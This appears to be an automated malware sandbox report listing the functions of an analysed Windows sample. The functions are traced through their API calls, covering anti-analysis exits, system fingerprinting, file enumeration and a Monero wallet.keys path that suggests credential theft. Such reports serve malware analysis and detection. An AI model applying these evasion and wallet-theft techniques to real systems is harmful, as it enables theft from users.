Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 6a6c415632ae631773736a8ccb76fe49dd9eb0b5922ba8cc3157afbcfb5120ae
Instruction ID: 0d2b822e5d0083f6f7967f8fe69669dd45b238a565d23530846c0164a3630a1c
Opcode Fuzzy Hash: 6a6c415632ae631773736a8ccb76fe49dd9eb0b5922ba8cc3157afbcfb5120ae
Instruction Fuzzy Hash: 092181B1D00208ABDF14DFA4E849ADE7B79FF45320F108625F915A72C0EB706A09CF91

Function 00137130 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00137144
RtlAllocateHeap.NTDLL(00000000), ref: 0013714B
RegOpenKeyExA.KERNEL32(80000002,011EC570,00000000,00020119,00000000), ref: 0013717D
RegQueryValueExA.KERNEL32(00000000,011FE108,00000000,00000000,?,000000FF), ref: 0013719E
RegCloseKey.ADVAPI32(00000000), ref: 001371A8

Strings

Windows 11, xrefs: 0013715D

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: ce258a4d824a1c51f366a904120735ed6d00a8e477d1bc65a6e146e8acf77a11
Instruction ID: 64020d947747d44b0868f17ccaab120257d21341be6cc25cc168049a5e141b45
Opcode Fuzzy Hash: ce258a4d824a1c51f366a904120735ed6d00a8e477d1bc65a6e146e8acf77a11
Instruction Fuzzy Hash: 510162B9A14208BFEB50DBE4DD49F6EB77CEB49700F104054FA09AB290DB70AA04CB50

Function 001371C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001371D4
RtlAllocateHeap.NTDLL(00000000), ref: 001371DB
RegOpenKeyExA.KERNEL32(80000002,011EC570,00000000,00020119,00137159), ref: 001371FB
RegQueryValueExA.KERNEL32(00137159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0013721A
RegCloseKey.ADVAPI32(00137159), ref: 00137224

Strings

CurrentBuildNumber, xrefs: 00137211

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 58eb739efbe6aff327a04df0b7efbcea0b7c4762e33cf3fdd1dcfbc568220966
Instruction ID: ce85e7901c6becc7030490c1e4531c469fe6993cc2db4d030afe86b3a24863a4
Opcode Fuzzy Hash: 58eb739efbe6aff327a04df0b7efbcea0b7c4762e33cf3fdd1dcfbc568220966
Instruction Fuzzy Hash: 3401FFB9A50308BFDB11DBE4DC4AFAEB77CEB48700F104558FA05AB291DB75AA048B51

Function 00136490 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00139270: GetProcAddress.KERNEL32(74DD0000,011F22C0), ref: 001392B1
Part of subcall function 00139270: GetProcAddress.KERNEL32(74DD0000,011F2260), ref: 001392CA
Part of subcall function 00139270: GetProcAddress.KERNEL32(74DD0000,011F2398), ref: 001392E2
Part of subcall function 00139270: GetProcAddress.KERNEL32(74DD0000,011F2278), ref: 001392FA
Part of subcall function 00139270: GetProcAddress.KERNEL32(74DD0000,011F22D8), ref: 00139313
Part of subcall function 00139270: GetProcAddress.KERNEL32(74DD0000,011F90B0), ref: 0013932B
Part of subcall function 00139270: GetProcAddress.KERNEL32(74DD0000,011E5850), ref: 00139343
Part of subcall function 00139270: GetProcAddress.KERNEL32(74DD0000,011E58B0), ref: 0013935C
Part of subcall function 00139270: GetProcAddress.KERNEL32(74DD0000,011F2320), ref: 00139374
Part of subcall function 00139270: GetProcAddress.KERNEL32(74DD0000,011F23B0), ref: 0013938C
Part of subcall function 00139270: GetProcAddress.KERNEL32(74DD0000,011F23C8), ref: 001393A5
Part of subcall function 00139270: GetProcAddress.KERNEL32(74DD0000,011F23E0), ref: 001393BD
Part of subcall function 00139270: GetProcAddress.KERNEL32(74DD0000,011E5B70), ref: 001393D5
Part of subcall function 00139270: GetProcAddress.KERNEL32(74DD0000,011F2290), ref: 001393EE

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 001211D0: ExitProcess.KERNEL32 ref: 00121211

Part of subcall function 00121160: GetSystemInfo.KERNEL32(?), ref: 0012116A
Part of subcall function 00121160: ExitProcess.KERNEL32 ref: 0012117E

Part of subcall function 00121110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0012112B
Part of subcall function 00121110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00121132
Part of subcall function 00121110: ExitProcess.KERNEL32 ref: 00121143

Part of subcall function 00121220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0012123E
Part of subcall function 00121220: __aulldiv.LIBCMT ref: 00121258
Part of subcall function 00121220: __aulldiv.LIBCMT ref: 00121266
Part of subcall function 00121220: ExitProcess.KERNEL32 ref: 00121294

Part of subcall function 00136210: GetUserDefaultLangID.KERNEL32 ref: 00136214

Part of subcall function 00121190: ExitProcess.KERNEL32 ref: 001211C6

Part of subcall function 001372F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001211B7), ref: 00137320
Part of subcall function 001372F0: RtlAllocateHeap.NTDLL(00000000), ref: 00137327
Part of subcall function 001372F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0013733F

Part of subcall function 00137380: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001373B0
Part of subcall function 00137380: RtlAllocateHeap.NTDLL(00000000), ref: 001373B7
Part of subcall function 00137380: GetComputerNameA.KERNEL32(?,00000104), ref: 001373CF

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,011F91F0,?,001410DC,?,00000000,?,001410E0,?,00000000,00140ADA), ref: 0013656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00136588
CloseHandle.KERNEL32(00000000), ref: 00136599
Sleep.KERNEL32(00001770), ref: 001365A4
CloseHandle.KERNEL32(?,00000000,?,011F91F0,?,001410DC,?,00000000,?,001410E0,?,00000000,00140ADA), ref: 001365BA
ExitProcess.KERNEL32 ref: 001365C2

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 99df195655f5091f7b149a827abd73b01a4e6c0c03a6507fa8fdf6e91ebf2976
Instruction ID: 72ba4c3604958f325fcfd3b26cb439ed5549ca56c40032a5833940257db70e8d
Opcode Fuzzy Hash: 99df195655f5091f7b149a827abd73b01a4e6c0c03a6507fa8fdf6e91ebf2976
Instruction Fuzzy Hash: 6A312C71910208BADB05FBF0DC56BFE777DAF65340F904528F552A6092DFB46A088BA2

Function 00129A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00129A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00129A61
LocalAlloc.KERNEL32(00000040,?), ref: 00129A81
ReadFile.KERNEL32(000000FF,?,00000000,0012148F,00000000), ref: 00129AAA
LocalFree.KERNEL32(0012148F), ref: 00129AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00129AEA

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: a4bc1f27aa99c75822a29d29a3170a268e6f946472412ff397f9bfd2d4189233
Instruction ID: 74de255c4d9aff01666ce0299d71e9933237422c87dbf42d589a9ca1f823e12a
Opcode Fuzzy Hash: a4bc1f27aa99c75822a29d29a3170a268e6f946472412ff397f9bfd2d4189233
Instruction Fuzzy Hash: F6312D74A00309EFDB14CF98D885BAE7BB9FF48304F108158E911AB390DB74A951CFA0

Function 00134260 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,011FE3C0), ref: 001342BB

Part of subcall function 00138880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001388AB

lstrcat.KERNEL32(?,00000000), ref: 001342E1
lstrcat.KERNEL32(?,?), ref: 00134300
lstrcat.KERNEL32(?,?), ref: 00134314
lstrcat.KERNEL32(?,011EBA00), ref: 00134327
lstrcat.KERNEL32(?,?), ref: 0013433B
lstrcat.KERNEL32(?,011FD990), ref: 0013434F

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 00138830: GetFileAttributesA.KERNEL32(00000000,?,00121B94,?,?,0014554C,?,?,00140E07), ref: 0013883F

Part of subcall function 00134050: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00134060
Part of subcall function 00134050: RtlAllocateHeap.NTDLL(00000000), ref: 00134067
Part of subcall function 00134050: wsprintfA.USER32 ref: 00134086
Part of subcall function 00134050: FindFirstFileA.KERNEL32(?,?), ref: 0013409D

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 50eefba8542bbfb094e5282a65661ed139f3efae66886299b90c1804569d1e89
Instruction ID: 286a1f3d1d25d1864c00282a250b0be27323ad100993dbf65e05047807dd88fd
Opcode Fuzzy Hash: 50eefba8542bbfb094e5282a65661ed139f3efae66886299b90c1804569d1e89
Instruction Fuzzy Hash: E23165B6910318A7CB15FBA0DC85FDD773CAB68704F808589B64597051EFB4A788CFA4

Function 00121220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0012123E
__aulldiv.LIBCMT ref: 00121258
__aulldiv.LIBCMT ref: 00121266
ExitProcess.KERNEL32 ref: 00121294

Strings

@, xrefs: 00121233

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 251c7eddbadc89443322fc4aab852b16d2fe2617a6e814866727b7fc78c02d11
Instruction ID: 3d36f118a50aa45019cf4be1a6a388601116b66b51c94dc5865bad4af5617e6c
Opcode Fuzzy Hash: 251c7eddbadc89443322fc4aab852b16d2fe2617a6e814866727b7fc78c02d11
Instruction Fuzzy Hash: 2F011DB0D40318FBEB10EBE4EC49BAEBB7CAB24705F308049FA05BA1C0DB7459558759

Function 00133BC0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,011FD6F0,00000000,00020119,?), ref: 00133C04
RegQueryValueExA.ADVAPI32(?,011FE288,00000000,00000000,00000000,000000FF), ref: 00133C28
RegCloseKey.ADVAPI32(?), ref: 00133C32
lstrcat.KERNEL32(?,00000000), ref: 00133C57
lstrcat.KERNEL32(?,011FE468), ref: 00133C6B

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 41ebc6fa84aff5ebedd1bfaca5f62f408e5b854b1ff4e76949d9e0249bbdf65c
Instruction ID: db5b2ba4f4d993aecd9275d0d14b68b92e73d422894938f5bba0f185d4939aab
Opcode Fuzzy Hash: 41ebc6fa84aff5ebedd1bfaca5f62f408e5b854b1ff4e76949d9e0249bbdf65c
Instruction Fuzzy Hash: 0041ABB6910108BBDB19EBA0EC46FED733DAB99300F404958B6155B181FFB56B8C8BD1

Function 6C5BC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

